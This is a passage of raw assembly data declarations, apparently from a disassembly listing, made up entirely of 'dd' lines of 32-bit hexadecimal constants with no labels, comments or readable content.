		dd 6D3120F6h, 0F72C3CE4h, 8FC01847h, 0B794C23Dh, 0C8A0A4CCh
		dd 169D5709h, 0A03597CCh, 76396F00h, 1F7085Eh, 673001DFh
		dd 2843BA04h, 0CB741ACCh, 3CB77550h, 8004BC92h,	0E8123A29h
		dd 0BC6CBFCh, 7C44D603h, 0FF033546h, 90804436h,	0E47466E2h
		dd 50D4F35Ah, 20028FCDh, 0BB6D388Eh, 0D0017F1Ch, 6544DFA5h
		dd 60CC6EB4h, 4C2EFEF1h, 4C125085h, 0D052FB44h,	2448A8F6h
		dd 98C66B8h, 7EEAA34Ah,	0C200F4D9h, 0DC3B0A4Bh,	23452580h
		dd 93C09C6Dh, 9E78FC6h,	5AA1551Eh, 26030451h, 0E130C09Ah
		dd 2FDEE539h, 2D28F9A3h, 2E4161F2h, 0FCA32FA5h,	2730F3B2h
		dd 0BE1702DAh, 2FE748Ch, 53800471h, 0C4ED984Ch,	0E1542D7Dh
		dd 6DD83CFBh, 0CEF0187h, 0E9C25A84h, 6FA9D4D7h,	53850B5h
		dd 0AAB45FF3h, 0F24F267h, 42FEF41Bh, 0E0773C2Dh, 722556ABh
		dd 2261064Eh, 0F89E2EE4h, 0E94C79FEh, 6FDA16AFh, 0CD4B28A8h
		dd 509B2E4Ch, 0D417819Ch, 2E3B97FAh, 0DC65DCC0h, 0CE852724h
		dd 44A05444h, 0F40EFDAEh, 0A026CA88h, 0B58B8D27h, 9CD197F9h
		dd 0ACB6DB63h, 3064CABBh, 4CD2216Bh, 0B02C4F24h, 0B09E3D70h
		dd 65B3C680h, 1F399CA8h, 126C2B1Ch, 0B2F0E848h,	5425163Dh
		dd 25E0D02Bh, 0F8E5255Bh, 0F2B0F790h, 28CC9BEEh, 0DD4F2146h
		dd 4932D831h, 9FE8054Bh, 0F8F89397h, 0B82A5E83h, 541F0C98h
		dd 8DB8662Eh, 10E44597h, 2C9AD628h, 58616080h, 80759B6Dh
		dd 9FB18214h, 6AA3A2ACh, 4837F534h, 80587D0Bh, 8008D26Eh
		dd 4E792570h, 0DB69C859h, 36635010h, 0C4ECBA00h, 0BFA7B6BBh
		dd 60509F80h, 9EF01897h, 9720098Dh, 0E079F04Fh,	34D198A1h
		dd 3369DE18h, 0A3F473F4h, 0BC84588Ch, 9EFA3E00h, 0C188E0C5h
		dd 25EF803Bh, 0A142D8B0h, 7C41E26h, 12803752h, 0A4DD591Dh
		dd 8DBEAEDCh, 1C206A08h, 0F4E23AF8h, 9BFA00A3h,	9EB8E9BFh
		dd 3209CBA1h, 755453F4h, 812F8C25h, 3BFDC4C0h, 0F123103Bh
		dd 3718D000h, 27FE0D99h, 0AC51778Eh, 6D3B5400h,	1A02201h
		dd 123FAD1Dh, 2F752699h, 0FB05B8A3h, 0C16B96FEh, 2350CF0h
		dd 4CA8C06Dh, 8E795FAh,	0B163F664h, 68A68E81h, 15452060h
		dd 0AC96A485h, 0E891D112h, 4CD4C7ECh, 25BB3DC5h, 0EC6EEBF0h
		dd 0C0E2C625h, 0C0384D55h, 484A76EBh, 6CE08E5Ah, 7F20844Eh
		dd 0F84DB702h, 0EB61F664h, 301D7B6Ch, 12B8FC25h, 4060FA85h
		dd 4BA7AA25h, 0B410E8FFh, 0F58804CBh, 60569FC2h, 5B7A42E4h
		dd 0B218E691h, 984630F5h, 7F7DAC00h, 51FAEE7Bh,	0C3ED0918h
		dd 0BC786D33h, 309BD426h, 0F046D6h, 0B1283BA9h,	2A82A354h
		dd 4BC0F3D9h, 6290C87Eh, 6B446D9Dh, 97046051h, 0DCBBDA32h
		dd 89C4F6F0h, 7EE4D5Ah,	6596832Ch, 7C6080D8h, 0E9C13433h
		dd 0FB2BA184h, 6A4BD44Eh, 3CE4001Ch, 0EB9FA03h,	97609687h
		dd 0EB1E0F5Ch, 0CEF0F420h, 0E008C5Fh, 0C5AE714Eh, 0B8DA3B47h
		dd 31506B32h, 804E605Eh, 58A4D7B8h, 749A9732h, 2C61585Ch
		dd 319708DCh, 0FB0C0594h, 0B2B4F3E3h, 1DCC3061h, 6CF85D00h
		dd 9981B1B4h, 0DC6EB7D9h, 0C4E7315Fh, 66F78DB0h, 969F5F02h
		dd 5D982FD3h, 50DCDC1Ah, 0F03200DCh, 0C9DFEF85h, 0EF689C3h
		dd 8A07997h, 0FFD00754h, 0C84C2FD3h, 0AA2B98C0h, 56EB7B27h
		dd 0E8B09254h, 2CB24AD8h, 6330F1F2h, 0BD7E11h, 0AFDF1469h
		dd 0E025FB84h, 90031830h, 97FECC82h, 96EDC810h,	0E70F7672h
		dd 0EE252A9Bh, 0DD89200Eh, 0BA93B984h, 0A21D4A5Ch, 87C01D7Ch
		dd 0FDD6DE42h, 0F890DDCFh, 90A42DE5h, 3F71A500h, 0D8638EBEh
		dd 14EE420h, 27189386h
		dd 0E3EA98D1h, 41203F87h, 59C2053Ch, 0F0AF4B17h, 79AC54FDh
		dd 18F8F04Ah, 0F71614C0h, 0EA00039Eh, 0A16E8E91h, 0EDC4614Fh
		dd 60872020h, 881414Ch,	707DCE0h, 0A4568B9Ch, 2BD48FA0h
		dd 0B9822D76h, 22025CFAh, 0E87E887Ch, 0F04D775Ch, 759978E1h
		dd 0F94D91C0h, 414422Ah, 20D7B21Dh, 8F272B54h, 57A34F89h
		dd 0AC30BD5Ch, 879F01E5h, 0ECD7A5FCh, 94F806EEh, 1D040B0h
		dd 416BD5A2h, 988D818h,	602CC578h, 4978507Bh, 71F87A47h
		dd 8F390028h, 91BE2C6Bh, 0CF16AA6Ch, 0ACE973AFh, 50023E8h
		dd 29FE3280h, 48D9E66h,	0FB9B08BEh, 0C40AAA0h, 0A46143CFh
		dd 68A50F0Fh, 31A0BF18h, 0E9F624F8h, 0FD122305h, 0EC04B87Dh
		dd 8EAFDBAFh, 51152D20h, 18EDF198h, 104C00F0h, 7D16E973h
		dd 2309C62Bh, 0D580A80Ah, 0FC791C99h, 0DA00199Fh, 0C9BEC847h
		dd 5A966C30h, 0A95852B5h, 7403B848h, 0AE8C0006h, 0A7E2C591h
		dd 6BFDACBFh, 99887801h, 8C6FDC6Ch, 0A0128308h,	2CBB29ADh
		dd 0B040E1ECh, 0BB737C8Ch, 0A26178E8h, 0C9396BE8h, 0D02889B4h
		dd 0A44A0F8h, 95528D71h, 3FCF2CE1h, 0DA4B0CA6h,	0A2308038h
		dd 8829EEh, 5547C8B2h, 0A1EAFC0Bh, 0E6015C99h, 6864D7Dh
		dd 8344802Fh, 6DB7EA75h, 0DA64C060h, 65008176h,	6F455427h
		dd 4F9FFF34h, 0C0C4B96Bh, 3A279EBh, 0E4BE2414h,	1DA404E6h
		dd 5E70BCDCh, 62F20CA3h, 1B0BC30h, 375D10Eh, 7A8616D9h
		dd 8CFEF440h, 4B15B4h, 3E280ED6h, 0F3A37C4Eh, 2BEAE12h
		dd 8304A0F3h, 9F7DBB9h,	4BA8747Eh, 154375Fh, 0F5D7DFACh
		dd 0D02AED1Ah, 0EA07E688h, 0A7CF23C4h, 7E20F4E2h, 4A018980h
		dd 34D998F1h, 0A82CDB18h, 742830CFh, 0D0E87C4Ah, 178C984Bh
		dd 42505C8Ah, 0BC806A8Fh, 0BED1B045h, 46B9E800h, 0CCE41228h
		dd 3D6309C5h, 2C995ACFh, 6283E0E2h, 0D600EA77h,	0E41B5916h
		dd 0FEA3C2C8h, 0F72001DEh, 638C1974h, 0B0B02BE1h, 0B83806Bh
		dd 2034E05Ch, 0E85B4F3Bh, 1298222Ch, 0C714BFA6h, 6695C098h
		dd 2BB77CD3h, 90905700h, 1B9DCE2Ch, 4CD234h, 70D89BA8h
		dd 3D5A8920h, 0F8CA725Eh, 0BA880F34h, 0F4920FFh, 4909348h
		dd 6C336D82h, 3FACB168h, 0A99ED820h, 423A17E8h,	958C0D0Dh
		dd 0E81F6B61h, 6CD1CE41h, 8B004AE0h, 54B0555Eh,	0D0AC2325h
		dd 0B0D22550h, 0E2FA74E9h, 82DBFF00h, 11A2F3A0h, 9C7A0038h
		dd 0D5BC2B66h, 21208082h, 0A0C49D35h, 91A11600h, 0D6F57720h
		dd 9F461F45h, 0BB9C4E8Ah, 60587D8Bh, 72A4F455h,	801C3D7Ch
		dd 0DAE38C80h, 0B16C8Bh, 7BD3E2CFh, 0FD570EDFh,	0D76B5B03h
		dd 0EA774179h, 0A95040F4h, 2F280B73h, 8C92D92Ch, 0AFFC1077h
		dd 95EE0065h, 21239AD7h, 574EC18Bh, 7D02BCFCh, 0FA21D37h
		dd 801E94E8h, 2A07852h,	0BBD4C1DCh, 64305D06h, 868082D8h
		dd 0FE19C04Fh, 6F6A6842h, 8202013Eh, 0ED3FFC8h,	9E506016h
		dd 52290985h, 3A5F3520h, 5435DF40h, 0C3964C00h,	0BD268450h
		dd 0D000F03Dh, 0FEDB18E6h, 0E0B81Fh, 7B9FD1BFh,	2BEF368Dh
		dd 0FC2F2E0Bh, 90B7577Eh, 0F25F9600h, 97E4E7A5h, 0D841AC62h
		dd 0B06A2B7Bh, 0C11CF123h, 0F862B8C4h, 8C8248BCh, 1C5E565Fh
		dd 28B77F7Ah, 48AEBD03h, 0F2D6987Eh, 800A0245h,	0F5F7D184h
		dd 8E8FD200h, 31DA0615h, 0D9D329F6h, 2F00544Ch,	0A5604542h
		dd 4D4028EDh, 79D14Ah, 7ACECD90h, 0B182F54Eh, 4C25FE7Bh
		dd 1BDC0068h, 0C9D86FB2h, 0C802FC68h, 0BDD74E81h, 78E901C0h
		dd 3E848662h, 4E1350B2h, 130CF27Fh, 64ACEBA9h, 0D4D92B2Dh
		dd 0B950B572h, 0D1013E81h, 30EEB386h, 3389E460h, 0B22BC871h
		dd 0FF318900h, 0F811C89Fh, 0D4F6B789h, 0DE347EA5h, 0ECACA55Ah
		dd 0CB14B43Ah, 0EF3DA08Bh, 2825FC40h, 20CE481h,	0D982A87Eh
		dd 0B9DDDDA7h, 49020C4Ch, 8545F0FCh, 638D54C0h,	0A25A4BC2h
		dd 0A5E18840h, 3B918497h, 0FD639380h, 0EC0270D9h, 5034E56Dh
		dd 344A57C0h, 60689457h, 0E09761B3h, 650391FAh,	7FFEA3ABh
		dd 64595832h, 96A62FC0h, 5100B2D9h, 0B1998EAh, 25ED39BBh
		dd 60C23B52h, 8CB77Dh, 0BFA88BFEh, 6EFFA3ECh, 0E26154C8h
		dd 3971007Eh, 3AEA0F68h, 0A2006FDFh, 0AF7A499h,	4B17FA09h
		dd 0CF8492DEh, 38760C6Ah, 92A7DDCh, 8C869FCFh, 6B7C5Ch
		dd 0AF1DDE9Ch, 0E1C8094Eh, 1AFD2B8Bh, 7060DB08h, 960B9D49h
		dd 8436C64Ah, 46451554h, 4CD0BEE8h, 0E06C8E79h,	0EEF51355h
		dd 0E08CB6EAh, 41827Fh,	2CF1B75Ch, 84EB4D75h, 327A10Ch
		dd 2483C1A5h, 8070E3B9h, 4AA74EF5h, 0E24823F3h,	5CE05A00h
		dd 0D6A000E8h, 0A409BE2Bh, 4E97F5B5h, 9C4DBF2Ch, 42A65240h
		dd 483812F1h, 0C809BA94h, 7960733Ah, 0BFB018F5h, 4E13C466h
		dd 50BC38C0h, 210BA009h, 0F9D980F1h, 0E80C8118h, 9107DB2Bh
		dd 197012DAh, 5B64E74Eh, 0D8E0F4E6h, 5A7C610Ah,	44E8694Fh
		dd 4B54BEC9h, 98822002h, 500D88Ch, 7C745BFFh, 0A842BE2Ch
		dd 0C212C7A9h, 289A572Ch, 26D6CC54h, 2B52E0h, 0C9F93F92h
		dd 0B15B8880h, 54A670C1h, 0E088E66Bh, 0C71814BDh, 42D15336h
		dd 3A5DEC74h, 0D4B87634h, 771FCFF6h, 2983E432h,	0AAD4698Ch
		dd 0EC625733h, 0C02C4D57h, 7B22493h, 806DF5Ah, 21FFA0h
		dd 832F3BF6h, 1FAF40ACh, 28A39809h, 25187479h, 5170145Bh
		dd 893A04E9h, 0BAA45913h, 3CE90012h, 7BB734ECh,	0E14E8FF0h
		dd 0E532093Fh, 0AE814076h, 0BDB40328h, 122ACA30h, 0EB374C62h
		dd 0EFD9D820h, 748F133Fh, 0E6E6014Fh, 2E332EBAh, 3D7B7C00h
		dd 9580FFA1h, 4E0A00F1h, 0AB4F9482h, 62C8D6A3h,	7C014D84h
		dd 4BFFCD2Bh, 0CE90C2B1h, 9D21F430h, 92C58C00h,	97BF087Bh
		dd 813411CCh, 45ECDB3Fh, 0D2ECCC2Bh, 5240B8B8h,	70DC0F6Dh
		dd 0EC56A395h, 0B985B02Ch, 2508BC0Fh, 0D051C85Eh, 19C7B3Fh
		dd 7D20DCB8h, 9C3AD973h, 0F50925Ch, 0A900CA91h,	0AC059813h
		dd 1665A159h, 0E824DA18h, 0D881EBCCh, 2F327570h, 30A0D0A7h
		dd 8CA6C95Fh, 9B07DEE6h, 3C7F45EAh, 18667290h, 5D010048h
		dd 0DA0CCBA8h, 0A55D09DFh, 0B4B8D2C4h, 0B30A4A7Bh, 30F0B2D4h
		dd 910EB6F9h, 2265AD13h, 5F0ADBD8h, 0E4B1C10h, 96CE5939h
		dd 0F8ECD137h, 686AC4A2h, 6C37F5h, 0EFBCC40Fh, 7A015578h
		dd 0DFA82144h, 583CF958h, 20907D27h, 0F1129075h, 60BD4A70h
		dd 0CE91D282h, 0F1B811DDh, 0C01CDA6Ah, 0AB9E10F7h, 2D6F1EB5h
		dd 80A902CAh, 5D29F598h, 0D388418h, 0E08FDA2Dh,	50C61EB0h
		dd 9D08E405h, 75912800h, 6897CF2Bh, 12B183C8h, 0EE874DEEh
		dd 0E49C6820h, 75901280h, 0D77CF269h, 0FFA094A6h, 0AB00E832h
		dd 2C901D8Bh, 12B0C2DCh, 0BD0D2793h, 0EC2ED6E8h, 64005F23h
		dd 0CA5D29F2h, 9C3113EEh, 1034FA2Ch, 47162885h,	41906CF4h
		dd 0C7C0602Fh, 7F8405B7h, 0A9A031BAh, 38CD3B9Fh, 0E0C0B66Ah
		dd 0A64E122Dh, 958206ACh, 0A007CBD9h, 8D202595h, 918804BAh
		dd 0B0C8FB80h, 46864A4Eh, 592BE4D8h, 2DBED900h,	840DC40Bh
		dd 8EC50151h, 0F36389E8h, 0E8C2E6EEh, 91229C49h, 6E4AD6D0h
		dd 0D3D6006Ch, 0B5E8C0Fh, 0BC800239h, 25CCE845h, 0F325040Ah
		dd 9C887028h, 0A5941138h, 3700C65Ah, 332925E5h,	0BEA81666h
		dd 1804A051h, 44CD1F2h,	0B84FC0B8h, 3F4ECEB0h, 7F4D97BDh
		dd 20BE8894h, 3853B3ACh, 0EF000AE8h, 585174F1h,	58155A6h
		dd 7AAAA08Bh, 4CF31Dh, 0C22B4CDCh, 713F875Ch, 0FE4916ACh
		dd 203C136Bh, 0BCF64F94h
		dd 6D305404h, 6CCEE4FCh, 58C0ED88h, 5DF507Fh, 0E747DD9Bh
		dd 3C62BEE8h, 0C466579Ch, 0D182A92Dh, 0F1F846B4h, 434BD1EAh
		dd 522B2C00h, 4E7D83DAh, 88C08001h, 821271BEh, 0E4671B53h
		dd 47D17091h, 2FE89D2Bh, 9700A86Eh, 9AC38D7Fh, 0E57C8880h
		dd 89401C99h, 9F7E35E2h, 66013879h, 8AC0B3DCh, 0B6349C6Eh
		dd 0CDB55C92h, 8499C544h, 0A1D823E3h, 0B8004186h, 3DFC2C0Ah
		dd 23BE73Ch, 893EBB7Fh,	45E869Ch, 5D34FD80h, 4982BA7h
		dd 0BDE36E0Dh, 94DBAE2Eh, 0EB00E39Eh, 84899E5Fh, 5CE92537h
		dd 4DB70878h, 0A325C0C0h, 7C286BB7h, 0E120E43Eh, 0D764172Fh
		dd 4A8CE898h, 0F5FC50ACh, 0D8480D8Ch, 6F2C2D98h, 40902CE0h
		dd 7625A024h, 0D7D0C28Fh, 94800435h, 0ACC652AFh, 0F05D2D82h
		dd 7560C84Dh, 47AE81Dh,	8327A3A7h, 0D2C4B87Ch, 7C4BEC09h
		dd 957D9254h, 0DD1C8C8Ch, 687E497Dh, 7BA13D17h,	3C4488h
		dd 174D8C7h, 5A117F7Ah,	2D27BF0Bh, 409054C4h, 0DD0EB24Bh
		dd 0F8812C00h, 2AFC32F7h, 0AEED0256h, 2864545Bh, 0AA6B4484h
		dd 9B6AD889h, 1F9F80D0h, 0A0D8A6C8h, 413C6B8h, 6B6DA181h
		dd 0E838E8A0h, 0A8008C64h, 66698656h, 2D8F27D3h, 0D0DE7F7Bh
		dd 304CD203h, 7CC0272Bh, 9D1310F1h, 3E87C007h, 56688D92h
		dd 5F971120h, 5A0C8F6h,	0D9178252h, 8C22098Bh, 0C0277DE4h
		dd 1F702113h, 0CE11D8DBh, 47105E0Eh, 0FDC580D5h, 7A9D8B5Fh
		dd 3E5695C9h, 7718467Ch, 0A232E509h, 23ED77EEh,	8D601744h
		dd 0D94AA591h, 0DCF640BAh, 7E4E2AC4h, 22E50803h, 898D3048h
		dd 8B0098DEh, 13E1EDBDh, 55FBC2D1h, 0B72C045Ah,	0B214BD46h
		dd 7D4400CEh, 0B4887ECEh, 0EA834A89h, 401AF22h,	0FEB7AEA8h
		dd 0AC873A0h, 762E2605h, 830BED4Bh, 74B7F502h, 6F0CF00h
		dd 1890FA58h, 1F1A8E0Fh, 9718B760h, 0C01111E9h,	748D7318h
		dd 0B4B60B83h, 0ED0015AFh, 0EDD8464Bh, 50612501h, 3024BB66h
		dd 0D3DDB07Fh, 0FF5A7828h, 81132920h, 5DD269DDh, 68781B53h
		dd 831400C0h, 19393B0Ch, 9D18892Ah, 0E95431D5h,	0BF0D4B75h
		dd 4AF99928h, 0B46FBFA2h, 0CE56CF00h, 9F797EA1h, 0EA706631h
		dd 284B18ECh, 0DBC01888h, 4BE9C90h, 5B858DA5h, 2532888Ah
		dd 5500540h, 81DBE1BFh,	78D1FB54h, 0A27FFA8Bh, 0C2CC070Eh
		dd 0A6813BEBh, 0E1C0B598h, 0DF4F17A1h, 2A57EE55h, 231E3EFAh
		dd 0BFDF0C15h, 2C417192h, 5F4DB67Eh, 0EDB808B9h, 9D762801h
		dd 0DD2346A4h, 879AA82Fh, 268F6AF9h, 0C413D1B5h, 88206D7Eh
		dd 3440DD1Dh, 57FC60E9h, 0B2D868BBh, 0FCB03D2Fh, 70E68E70h
		dd 251788A6h, 0BFAA5497h, 1B685700h, 1F0DA8D8h,	883B5D00h
		dd 41B2DCCBh, 9B44041Dh, 0CC5371E4h, 0EC00AF0Ch, 1060C12Ch
		dd 25F64938h, 6DD5B92h,	0A027B8CAh, 0F480B007h,	88C864B6h
		dd 0B4A4BBDBh, 71829852h, 4E83AC1h, 0F766FE80h,	8D9589E2h
		dd 0C82BE1C7h, 22C1BD81h, 0FD1FD83h, 45780284h,	29805798h
		dd 3931B531h, 3D852B09h, 84E6AF35h, 83020E93h, 0BE6907C0h
		dd 8094704h, 3B674518h,	10C8C8D0h, 27FBBB80h, 60E960F2h
		dd 8D29154Ah, 0F69523F9h, 0B70FC07Fh, 0E13283FFh, 2032AA01h
		dd 11E5BD0Bh, 18A573CAh, 194AFE18h, 0FC418325h,	0A4235Bh
		dd 1320CB4Ch, 0DA32CDh,	0B71C5848h, 0B026C4D8h,	27E96Eh
		dd 392B58Dh, 0D0249BADh, 0CF3FC593h, 8D6F0161h,	0B58936BDh
		dd 0D2A928D4h, 0BAF97455h, 0A92A77B5h, 6ACAC5Bh, 94EC37E7h
		dd 2CE4FCE9h, 410CB980h, 0F5FF0109h, 0AB090407h, 92E857FCh
		dd 1D12FA3Dh, 2D0F29CFh, 2FFAD76Fh, 11C2396h, 1F83157Bh
		dd 7640F0B3h, 0EABC2BF7h, 0E68C18FCh, 216A0268h, 0BA05B330h
		dd 1744106Dh, 91FB8660h, 71EA0B4Ch, 18AD0E40h, 4CD1C233h
		dd 0E90B83D0h, 37F47504h, 49369FFDh, 0CD5FC9A3h, 0BBCA6049h
		dd 0C9705D09h, 880DF51Ah, 0FB86871Fh, 0CD958B90h, 10969216h
		dd 371A759Dh, 21D40E56h, 0A4035B09h, 0E4A0CE5h,	52E6BFBh
		dd 0CFD19C19h, 1E088Ch,	91EDEC5Eh, 90DDDB05h, 0CCC44E00h
		dd 8B50AF7Fh, 3718E4C2h, 8E08C103h, 1967AA95h, 9BDEF458h
		dd 0C8B3C06Eh, 5FEF6CCAh, 8099E8F2h, 0FB28A1Fh,	7E783ECEh
		dd 87163A4h, 5F17171Dh,	0CEE69F60h, 0C64B1431h,	0EE01D28Fh
		dd 575B468Ch, 0C99F70B4h, 0B5013341h, 39A94D84h, 8D89845Eh
		dd 5E6AD7D9h, 0C84DC0C4h, 13401133h, 0D7E158FFh, 128C16E8h
		dd 43BA3AEh, 27294Ah, 3FE0B860h, 0CC175868h, 8961D307h
		dd 44AC1B85h, 1143CDB4h, 3804D91Ch, 2EF0F756h, 9F1805DDh
		dd 0A1EC6057h, 9C29934h, 0B24061C7h, 3FAC22BDh,	8AB50140h
		dd 0CE3A48FFh, 6932CA24h, 1A6194ACh, 860F0381h,	0B6BA1465h
		dd 8654B054h, 0BD091FFAh, 6048A0D5h, 8C16E82Fh,	0FDCA9B01h
		dd 1E41BD01h, 8C664A85h, 0AA308D9h, 8962C780h, 161A7F11h
		dd 336D3CDh, 5FD88BB2h,	61E18089h, 1F4290BCh, 8CC90A14h
		dd 0AB018612h, 0BEC3B79Bh, 5FA8CC87h, 63FCC41Eh, 60F8C8A1h
		dd 739419C9h, 8789F23h,	0B2716565h, 33CA413Dh, 5B31F985h
		dd 785FC12Ah, 83422B79h, 54270B08h, 1F814390h, 89482D7Ah
		dd 0D3BE92EFh, 0FB88EC45h, 0AF007D97h, 80E25FC4h, 7BDCBE7h
		dd 6CFD3894h, 502AE2C8h, 0E400EB46h, 0D96755DCh, 43A5E3h
		dd 4F6DF597h, 90BE944Bh, 0D6BEDE97h, 9FDFB901h,	3155BE4Ch
		dd 0BD1BA21h, 5279F622h, 31599132h, 18570825h, 0D403FF10h
		dd 0BE0E85ECh, 0BF80E1C0h, 506156C8h, 1380B1B9h, 0F33B1E2Ch
		dd 8B8B64D1h, 0B6B48657h, 41BA524Ah, 2C7131E2h,	0F096C0D4h
		dd 0FA5271Eh, 5AF98B85h, 3C476754h, 0B5010BFEh,	8A25A2ADh
		dd 792DE0F9h, 0CC3D235h, 850D1363h, 0ACADF212h,	2C0C9D13h
		dd 1009E915h, 40D4D8Dh,	1DEE961h, 0F0A7B6ABh, 1A0C4637h
		dd 0A57F3C8Ch, 7BEA5F86h, 0F131D990h, 0F5B59326h, 0E0C7DF74h
		dd 407E9418h, 0B58B2D49h, 5539EE69h, 0DE603D4Dh, 299C157h
		dd 1A3EF8DCh, 53604946h, 75942079h, 4EF1BD95h, 0E04226Eh
		dd 0C32A5A6Dh, 0F009FB07h, 570689FAh, 656E1E4Dh, 0C8153E1h
		dd 0F82A17D9h, 0F1ABC0D2h, 196C670h, 51D1662Eh,	32D9EB78h
		dd 0CFFB920Eh, 31FED7B9h, 0D436BBC7h, 89242C35h, 0DE803346h
		dd 0B7BA6096h, 90AD7A29h, 0ABB33D6Ch, 796BBECAh, 0F4F16701h
		dd 22B5FF3Bh, 6BEF4B0Ch, 283624EDh, 25DD08h, 14832268h
		dd 0F80F8BA3h, 0C2240481h, 605D0A80h, 918DDEA4h, 20B3A082h
		dd 73A10E3Dh, 1679100Ch, 95720059h, 43B6D1C5h, 67B8401Eh
		dd 69ABD858h, 0D36DD556h, 973BF260h, 0FC808BDh,	23A60680h
		dd 0DEBD0AA5h, 81ECB7C9h, 2997871Fh, 6AF92A61h,	0C602E5ACh
		dd 387B05F1h, 0AAC5400Ah, 85C72C20h, 26316DE6h,	5137F0B7h
		dd 3A2976A6h, 0F065E1D2h, 1532C905h, 4ACB8ACEh,	95E6BEFh
		dd 2FF0374h, 429DDF7h, 8CE1BEE9h, 0ACA1FD2Ah, 0F8E026B0h
		dd 0F15085Bh, 0C305003h, 98448311h, 7AE8C101h, 20ECE10h
		dd 3C44C0Fh, 0E732B458h, 3636EB37h, 0E7641078h,	501B58B8h
		dd 212829CDh, 34581803h, 25570113h, 0C02F0B1Bh,	0F8C0294Dh
		dd 583784C0h, 0B5267C63h, 13B7A593h, 0BE425F00h, 12741473h
		dd 9C89E48Dh, 0A568850Fh, 3FD65755h, 48F2FEF4h,	78B124D4h
		dd 0C8F83A03h, 4BB99AC0h, 0A60B8D4Eh, 80BCC31Dh, 0ECE253B3h
		dd 10889491h, 40524807h, 8E270F27h, 0B0B05D12h,	0E07FBEB1h
		dd 4FC7C800h, 7921C525h
		dd 83145CA8h, 2101897Ch, 51F34C44h, 0F83B0B58h,	0A27B8C1Ah
		dd 78917605h, 0D00A30ABh, 0FC96A601h, 69E69B08h, 0E4E747D5h
		dd 0FBE4AF99h, 96D10025h, 0BA6D6E97h, 0CB018155h, 635A91BBh
		dd 7964535Fh, 6C71B5Bh,	0A187E801h, 7089F381h, 0B01CBBDFh
		dd 12BC8B0Ch, 0C9FF2434h, 8D75301Fh, 5616E920h,	0AE4BB65Fh
		dd 54003B6Bh, 8F46C84Fh, 0CD01C143h, 8D296A08h,	0BD48026Dh
		dd 720E41C5h, 87910046h, 5BCFDF69h, 40EE2Eh, 553A4B95h
		dd 0F1CA37D5h, 7622412Fh, 84751255h, 51B36200h,	2B00F3E6h
		dd 95080E85h, 5815B43h,	0E9A4FAEBh, 1336D247h, 8689F500h
		dd 0EB569DC4h, 4F663C0h, 0BC6602E3h, 0F19D3148h, 49C18D0h
		dd 71850160h, 0BD19C229h, 83022C55h, 0C38D80C2h, 0E0FEE3h
		dd 2050892Fh, 1ED4BF66h, 0C1FC7FB0h, 2057C282h,	0D2B47B5Bh
		dd 2B30325Dh, 8120B89Ah, 28E1BBDFh, 15C93854h, 0D4EDDB80h
		dd 0E17BB385h, 0EC4F29C2h, 45572DF2h, 0B9F8AC90h, 80835938h
		dd 556A42Dh, 0B3D25Ah, 752C8061h, 0E89688A3h, 939E33B6h
		dd 0BDC99EC0h, 1EFA831Ah, 40E43CE3h, 4EB8CDF1h,	5F59BFB7h
		dd 803F9FF3h, 0C9902E78h, 12B769EFh, 849A07Fh, 92A002F2h
		dd 75965B27h, 0B38087B5h, 0A63F3CCCh, 7E5624FFh, 41671E8Ah
		dd 31601DF7h, 0E1A83ABDh, 0DF20EA4Ah, 0ACBDB81h, 61794501h
		dd 90BFC0B5h, 64503422h, 0C4189B8h, 4C4DD130h, 19277B07h
		dd 10406A99h, 3D8B96F9h, 60F450D9h, 0BCBF1705h,	617FCE74h
		dd 0DC61BEh, 3C782CD5h,	0C35B62Bh, 0D381A500h, 6C33D093h
		dd 28760ABBh, 4B626D44h, 34E9D702h, 852681DAh, 1853B317h
		dd 20905AD2h, 53802A61h, 39E30281h, 5F45072Dh, 2DF257h
		dd 0C9ECFAA2h, 0AE7EFCA3h, 0D7ABED14h, 1E311087h, 39450220h
		dd 9A28BFD9h, 0A1D21138h, 0BB241012h, 6780939Eh, 23A9A814h
		dd 1EA16E00h, 66CCBF96h, 9E5D5CF4h, 5A02F110h, 1823663Fh
		dd 7194C00h, 4B8AFDF3h,	2B0D20DAh, 0F9002E13h, 0CCDB8E98h
		dd 791E844h, 0F37CE9FAh, 0FCB41EFFh, 0E18CDF80h, 0BE9817F5h
		dd 1319520h, 87BFC18Bh,	3A124F41h, 0FF92A9F8h, 94C5719Ah
		dd 0E3038058h, 7C9D5C93h, 546D40B1h, 0D01342B1h, 0C601F064h
		dd 7FCE0C48h, 25595330h, 0A07F5B3Bh, 88B160F6h,	585A1361h
		dd 80489B90h, 0DD3F79DEh, 97A84C6Ch, 8D33E517h,	0B8B82EC9h
		dd 9C5E9778h, 1B8713DCh, 79E33053h, 0DC063C7Bh,	5B05C44Dh
		dd 13FD2666h, 272542D8h, 0F604B408h, 0EF80ADB1h, 0ABA0B21h
		dd 5C08364h, 0E119Ah, 60C89915h, 10BA291h, 9FF202F0h, 2FD34E79h
		dd 4B0019B9h, 55865982h, 51070289h, 0D3D977CBh,	2EEC91B0h
		dd 0AAD54B5Ch, 605B3A22h, 93BBB89h, 90062529h, 0E8C0E76Dh
		dd 484401Ah, 11FD9D8Bh,	0B73056A9h, 0FC3BE1h, 13D8BCD6h
		dd 2B9BF3A5h, 3DDF670Dh, 0CB422C0Eh, 68C35CF9h,	45D0894h
		dd 89B64A5h, 22919D0Bh,	0A032BF0Eh, 0D1FF6B1Fh,	0DB929503h
		dd 1F519056h, 0B5952910h, 26A59C6h, 50DA097Ah, 0EE62D88Bh
		dd 0FA45910Fh, 806C985Fh, 0BA60F324h, 38076725h, 0D725B221h
		dd 0D980D81Fh, 0B92FFFF5h, 804CB9D6h, 5DC8CC9Fh, 0CE3FF4BEh
		dd 95750097h, 20C59AAEh, 43C0384Dh, 22B36F0Ah, 0FE46A5A1h
		dd 2038895Ch, 0FDFC8B0Dh, 9CDF6D8Ch, 118FA466h,	0C7BF0205h
		dd 561D93FDh, 0ADF5C4F8h, 95849DD6h, 0F6EB02EDh, 3CB71653h
		dd 73432C2h, 0ACEDF96Ah, 1147D8C0h, 1926978Dh, 0B5106D35h
		dd 0F1327F9h, 9DA28882h, 65142125h, 13F0AECh, 3CAC2711h
		dd 1040D50Ch, 451DC4B0h, 70E60511h, 8D219D12h, 0B5E071E4h
		dd 0AF1F4E29h, 1139E21h, 530CC80Ch, 9111E951h, 827286h
		dd 5C8CAC88h, 8F045273h, 0EC0730FFh, 0BFE53824h, 90E84425h
		dd 64D73996h, 82206DCh,	4283FC95h, 0D3636160h, 0C1318C3Dh
		dd 0EEFF122Ah, 20859ACCh, 80952401h, 0D4806009h, 601C97DAh
		dd 91B50B0Fh, 4C1600BDh, 86667h, 0BCFE3CFDh, 705EDA20h
